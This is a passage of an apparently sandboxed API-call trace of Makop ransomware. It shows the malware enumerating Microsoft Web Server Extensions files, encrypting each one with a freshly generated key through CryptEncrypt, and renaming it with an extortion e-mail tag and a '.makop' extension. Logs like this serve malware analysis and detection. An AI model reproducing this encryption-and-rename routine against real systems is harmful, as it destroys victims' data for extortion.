param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN") returned 75 [0103.309] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*") returned 79 [0103.309] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0103.311] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.311] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0103.311] wsprintfW (in: param_1=0x6575870, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033") returned 80 [0103.312] wsprintfW (in: param_1=0x6572df0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*.*") returned 84 [0103.312] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*.*", lpFindFileData=0x6572ba0 | out: lpFindFileData=0x6572ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c71a8 [0103.312] FindNextFileW (in: hFindFile=0x48c71a8, lpFindFileData=0x6572ba0 | out: lpFindFileData=0x6572ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.313] FindNextFileW (in: hFindFile=0x48c71a8, lpFindFileData=0x6572ba0 | out: lpFindFileData=0x6572ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0103.313] wsprintfW (in: param_1=0x65735f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0103.313] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0103.314] GetProcessHeap () returned 0x48a0000 [0103.314] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0103.314] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0103.314] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6572b48 | out: lpNewFilePointer=0x0) returned 1 [0103.314] WriteFile (in: hFile=0x13c, lpBuffer=0x6572b58*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6572b28, lpOverlapped=0x0 | out: lpBuffer=0x6572b58*, lpNumberOfBytesWritten=0x6572b28*=0xb, lpOverlapped=0x0) returned 1 [0103.319] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6572b2c | out: phKey=0x6572b2c*=0x48c71e8) returned 1 [0103.319] CryptSetKeyParam (hKey=0x48c71e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.319] GetProcessHeap () returned 0x48a0000 [0103.319] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0103.319] CryptEncrypt (in: hKey=0x48c71e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6572b10*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6572b10*=0x30) returned 1 [0103.320] CryptDestroyKey (hKey=0x48c71e8) returned 1 [0103.320] WriteFile (in: hFile=0x13c, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6572b28, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6572b28*=0x30, lpOverlapped=0x0) returned 1 [0103.320] WriteFile (in: hFile=0x13c, lpBuffer=0x6572b30*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6572b28, lpOverlapped=0x0 | out: lpBuffer=0x6572b30*, lpNumberOfBytesWritten=0x6572b28*=0x4, lpOverlapped=0x0) returned 1 [0103.320] WriteFile (in: hFile=0x13c, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6572b28, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6572b28*=0x10, lpOverlapped=0x0) returned 1 [0103.320] WriteFile (in: hFile=0x13c, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6572b28, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6572b28*=0x80, lpOverlapped=0x0) returned 1 [0103.321] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6572b50 | out: lpNewFilePointer=0x0) returned 1 [0103.321] WriteFile (in: hFile=0x13c, lpBuffer=0x6572b40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6572b28, lpOverlapped=0x0 | out: lpBuffer=0x6572b40*, lpNumberOfBytesWritten=0x6572b28*=0x8, lpOverlapped=0x0) returned 1 [0103.321] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6572b2c | out: phKey=0x6572b2c*=0x48c71e8) returned 1 [0103.321] CryptSetKeyParam (hKey=0x48c71e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.321] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.321] ReadFile (in: hFile=0x13c, lpBuffer=0x6370020, nNumberOfBytesToRead=0x296a5, lpNumberOfBytesRead=0x6572b34, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6572b34*=0x296a5, lpOverlapped=0x0) returned 1 [0103.325] CryptEncrypt (in: hKey=0x48c71e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6572b10*=0x296b0, dwBufLen=0x296b0 | out: pbData=0x6370020*, pdwDataLen=0x6572b10*=0x296b0) returned 1 [0103.327] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.327] WriteFile (in: hFile=0x13c, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x296b0, lpNumberOfBytesWritten=0x6572b28, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6572b28*=0x296b0, lpOverlapped=0x0) returned 1 [0103.328] CryptDestroyKey (hKey=0x48c71e8) returned 1 [0103.329] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x29774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.329] SetEndOfFile (hFile=0x13c) returned 1 [0103.338] GetProcessHeap () returned 0x48a0000 [0103.338] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0103.339] GetProcessHeap () returned 0x48a0000 [0103.339] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0103.339] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 137 [0103.339] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0103.340] CloseHandle (hObject=0x13c) returned 1 [0103.340] FindNextFileW (in: hFindFile=0x48c71a8, lpFindFileData=0x6572ba0 | out: lpFindFileData=0x6572ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 0 [0103.341] FindClose (in: hFindFile=0x48c71a8 | out: hFindFile=0x48c71a8) returned 1 [0103.341] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0103.341] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL") returned 88 [0103.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0103.342] GetFileSizeEx (in: hFile=0x114, lpFileSize=0x65745b8 | out: lpFileSize=0x65745b8*=2522488) returned 1 [0103.342] GetProcessHeap () returned 0x48a0000 [0103.342] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0103.342] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0103.342] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.342] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a4, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a4*=0x8, lpOverlapped=0x0) returned 1 [0103.347] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745a8 | out: phKey=0x65745a8*=0x48c71a8) returned 1 [0103.348] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.348] GetProcessHeap () returned 0x48a0000 [0103.348] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0103.348] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574588*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574588*=0x40) returned 1 [0103.348] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0103.349] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a4, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a4*=0x40, lpOverlapped=0x0) returned 1 [0103.349] WriteFile (in: hFile=0x114, lpBuffer=0x65745ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a4, lpOverlapped=0x0 | out: lpBuffer=0x65745ac*, lpNumberOfBytesWritten=0x65745a4*=0x4, lpOverlapped=0x0) returned 1 [0103.349] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a4, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a4*=0x10, lpOverlapped=0x0) returned 1 [0103.349] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a4, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a4*=0x80, lpOverlapped=0x0) returned 1 [0103.349] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0103.349] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a4, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a4*=0x8, lpOverlapped=0x0) returned 1 [0103.350] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745a8 | out: phKey=0x65745a8*=0x48c71a8) returned 1 [0103.350] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.350] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6574578 | out: lpNewFilePointer=0x0) returned 1 [0103.350] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x657456c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657456c*=0x40000, lpOverlapped=0x0) returned 1 [0103.362] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574574*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6574574*=0x40000) returned 1 [0103.365] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.366] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6574570, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6574570*=0x40000, lpOverlapped=0x0) returned 1 [0103.368] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x267e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.368] WriteFile (in: hFile=0x114, lpBuffer=0x6574578*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6574570, lpOverlapped=0x0 | out: lpBuffer=0x6574578*, lpNumberOfBytesWritten=0x6574570*=0x8, lpOverlapped=0x0) returned 1 [0103.368] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xcd47d, lpNewFilePointer=0x0, dwMoveMethod=0x6574578 | out: lpNewFilePointer=0x0) returned 1 [0103.368] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x657456c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657456c*=0x40000, lpOverlapped=0x0) returned 1 [0103.396] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574574*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6574574*=0x40000) returned 1 [0103.399] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xcd47d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.399] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6574570, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6574570*=0x40000, lpOverlapped=0x0) returned 1 [0103.403] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x267e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.403] WriteFile (in: hFile=0x114, lpBuffer=0x6574578*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6574570, lpOverlapped=0x0 | out: lpBuffer=0x6574578*, lpNumberOfBytesWritten=0x6574570*=0x8, lpOverlapped=0x0) returned 1 [0103.403] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x227d80, lpNewFilePointer=0x0, dwMoveMethod=0x6574578 | out: lpNewFilePointer=0x0) returned 1 [0103.404] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x657456c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657456c*=0x40000, lpOverlapped=0x0) returned 1 [0103.433] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574574*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6574574*=0x40000) returned 1 [0103.436] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x227d80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.436] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6574570, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6574570*=0x40000, lpOverlapped=0x0) returned 1 [0103.438] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x267e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.438] WriteFile (in: hFile=0x114, lpBuffer=0x6574578*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6574570, lpOverlapped=0x0 | out: lpBuffer=0x6574578*, lpNumberOfBytesWritten=0x6574570*=0x8, lpOverlapped=0x0) returned 1 [0103.438] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0103.438] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x267e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.439] SetEndOfFile (hFile=0x114) returned 1 [0103.448] GetProcessHeap () returned 0x48a0000 [0103.448] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0103.448] GetProcessHeap () returned 0x48a0000 [0103.448] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0103.448] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 135 [0103.448] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0103.449] CloseHandle (hObject=0x114) returned 1 [0103.450] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0103.450] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL") returned 85 [0103.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0103.452] GetProcessHeap () returned 0x48a0000 [0103.452] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0103.452] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0103.452] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0103.452] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0103.452] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.452] GetProcessHeap () returned 0x48a0000 [0103.453] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0103.453] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0103.453] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0103.453] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0103.457] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0103.458] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0103.458] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0103.458] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0103.458] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0103.458] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0103.458] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.458] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.459] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x100000, lpOverlapped=0x0) returned 1 [0103.499] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x100000, dwBufLen=0x100000 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x100000) returned 1 [0103.509] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.509] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, 